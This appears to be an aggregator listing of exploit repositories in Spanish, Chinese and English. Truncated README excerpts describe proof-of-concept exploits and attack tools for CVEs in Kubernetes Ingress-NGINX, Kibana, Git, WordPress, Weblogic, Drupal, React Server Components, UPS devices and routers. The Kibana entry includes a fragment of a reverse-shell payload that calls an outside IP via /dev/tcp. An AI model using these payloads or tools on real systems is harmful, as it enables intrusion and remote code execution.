CVE-2025-1974

Kubernetes Ingress-NGINX Ejecución remota de código no autenticada CVE-2025-1974 Ingress-NGINX: Controlador de ingreso para Kubernetes que utiliza NGINX como proxy inverso y balanceador de carga La vulnerabilidad "IngressNightmare" CVE-2025-1974 se origina en un defecto crítico en el Admission...

nmap-CVE-2022-21907

nmap-CVE-2022-21907 Repositorio que contiene un script nse para la vulnerabilidad CVE-2022-21907. Es una vulnerabilidad de un componente IIS en Windows. Permite la ejecución remota de código. La vulnerabilidad afecta al módulo del kernel http.sys, que maneja la mayoría de las operaciones básicas ...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...

CVE-2025-48384

CVE-2025-48384：利用回车键破坏 Git 并实现克隆远程代码执行 复现自 https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384。全部致谢 David Leadbeater。 这是对该漏洞的一个基本复现尝试。 触发方式：在受影响版本的 Git 上执行 git clone --recursive https://github.com/acheong08/CVE-2025-48384，你会发现在 /tmp/fishsucks 下突然出现一个文件。 我能够在 Git 版本 2.50.0 上复现。 以下是用于本地测试的脚本：...

WordPress_4.9.8_RCE_POC

Resumen Un PoC simple para RCE en WordPress privilegio de autor, consulte CVE-2019-8942 y CVE-2019-8943. Versión afectada WordPress " 3. Detecta el tema actual con WPScan wpscan -u -et, p.ej. twentyseventeen como predeterminado en WordPress 4.9.8 4. Sube el archivo de imagen de payload poc.jpg...

sunlogin_rce

前言 没啥好说的,直接放工具和有漏洞的版本吧,大家本地玩玩很不错，切勿用于非法测试。 测试向日葵客户端漏洞版本:11.0.0.33162 漏洞客户端在源码中提供. 端口扫描用的是:https://github.com/jboursiquot/portscan 漏洞版本根据反馈获得 11.1.1 10.3.0.27372 11.0.0.33162 命令说明 -h 指定目标 -t 选择扫描或者命令执行 默认scan -p 设置扫描端口范围 默认4w到65535 -c 需要执行的命令 相关截图 扫描 rce 时间 20220216 From https://github.com/TRYblog...

CVE-2019-7238

CVE-2019-7238 Ejecución remota de código sin autenticación en Nexus Repository Manager 3 3.15.0 encontrado por Rico Tencent Security Yunding Lab y @voidfyoo Análisis detallado inglés:...

CVE-2018-14772

CVE-2018-14772 información Este es un exploit PoC de ejecución remota de código para CVE-2018-14772, una vulnerabilidad que descubrí en la plataforma de intercambio de archivos pydio. Requiere credenciales de administrador de la aplicación pydio para funcionar. Puedes ejecutar el exploit de la...

CVE-2026-91095

A flaw was found in proxygen. A remote attacker could cause a Denial of Service DoS or potentially execute arbitrary code by exploiting a use-after-free vulnerability. During WebTransport stream processing, internal handlers can return stream references that have already been deallocated and...

Thunderstorm

Thunderstorm Thunderstorm 是一个用于攻击 UPS 设备的模块化框架。 目前仅提供 CS-141 和 NetMan 204 的利用模块。框架的测试版将在未来发布。 CVE Thunderstorm 目前能够利用以下 CVE 漏洞： CVE-2022-47186 – 文件上传无限制 CS-141 CVE-2022-47187 – 通过文件上传实现跨站脚本攻击 CS-141 CVE-2022-47188 – 通过文件上传实现任意本地文件读取 CS-141 CVE-2022-47189 – 通过文件上传实现拒绝服务 CS-141 CVE-2022-47190 –...

CVE-2019-16278

Exploits para CVE-2019-16278 y CVE-2019-16279 Nostromo httpd es propenso a 2 vulnerabilidades críticas para versiones &1 Este error se debe a una corrección incompleta para CVE-2011-0751. Podemos omitir una comprobación de /../ lo que nos permite ejecutar /bin/sh con argumentos arbitrarios. Ejemp...

CVE-2022-30190

CVE 30190 Amine TITROFINE | December 17, 2022 Follina CVE-2022-30190 is a Microsoft Office zero-day vulnerability that has recently been discovered. It’s a high-severity vulnerability that hackers can leverage for remote code execution RCE attacks. It exists when MSDT is called using the URL...

DrupalCVE-2018-7602

Drupal 远程代码执行漏洞（CVE-2018-7602） 影响软件：drupal 方式：对URL中的进行编码两次，绕过sanitize函数过滤 效果：任意命令执行 漏洞环境 执行如下命令启动drupal 7.57的环境： docker-compose up -d 环境启动后，访问 http://your-ip:8081/ 将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。 漏洞复现 参考pimps/CVE-2018-7600的PoC。 如下图所示，执行以下命令即可复现该漏洞。示例命令为...

Router-Exploit-Shovel

Router Exploit Shovel 针对无线路由器栈溢出类型的自动化攻击代码生成 Router exploits shovel 是一款针对无线路由器栈溢出类型的自动化攻击代码生成工具。该工具实现了漏洞利用的关键功能，能够自适应栈上数据填充的长度，生成 ROP 链，生成编码后的 shellcode，最终将它们组装成完整的攻击代码。用户只需将攻击代码附加到 POC 的溢出位置，即可完成远程代码执行的漏洞利用。 该工具支持 MIPSel 和 MIPSeb。在 Ubuntu 16.04 64bit 上运行。 安装 确保已安装 git、python3 和 setuptools。 从我们的...

CVE-2026-40897

CVE-2026-40897 Remote Code Execution in Math.js Expression Parser ★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Overview CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy 测试环境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 由于外网有RMI远程服务器，很方便弹到shell; 如果在内网，你需要指定自己的RMI服务器，不然无法获取到反弹Shell !!! 0x01 generate-payload 0x02 send-payload Payload:...

rwsploit

Oracle Reports rwservlet 扫描器 ⚠️ 仅限授权使用。只能在您拥有或获得明确书面许可的系统上运行此工具。未经授权使用是违法的。 针对 Oracle Reports Server（rwservlet）的定向利用扫描器，专门针对 CVE-2012-3152 和 CVE-2012-3153 ——影响低于 11g 的版本。自动完成检测、LFI 文件读取、SSRF 测试以及 JSP Shell 上传，支持单个 IP、CIDR 范围或目标列表。智能 TCP/HTTP 预过滤可即时跳过无响应主机，不浪费任何时间。 安装 git clone...

CVE-2021-22192

CVE-2021-22192 CVE-2021-22192 靶场： 未授权用户 RCE 漏洞 0x10 靶场环境 0x20 目录结构 CVE-2021-22192 ├── README.md ............... 此 README 说明 ├── imgs .................... 辅助 README 说明的图片 ├── gitlab .................. Gitlab 容器的挂载目录 │ ├── Dockerfile .......... Gitlab 的 Docker 构建文件 │ ├── config .............. Gitla...

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n HTTP 请求节点分页原型污染 → RCE 一个已认证的 n8n 公开公告仅指出该污染“结合其他技术可能导致 RCE”，但未披露利用链。本仓库记录并自动化实现了一条具体、经过验证的原型污染→RCE 链。 1. 污染原语 packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts，分页模式 updateAParameterInEachRequest： paginationData.requestparameter.type!parameterName = parameterValue...

React2Shell_CVE-2025-55182

Exploit modular CVE-2025-55182 con bypass de WAF Un script de Python que proporciona un shell interactivo para explotar la vulnerabilidad crítica de RCE CVE-2025-55182 en aplicaciones vulnerables de React Server Components y Next.js. Este exploit apunta a la falla de deserialización que permite l...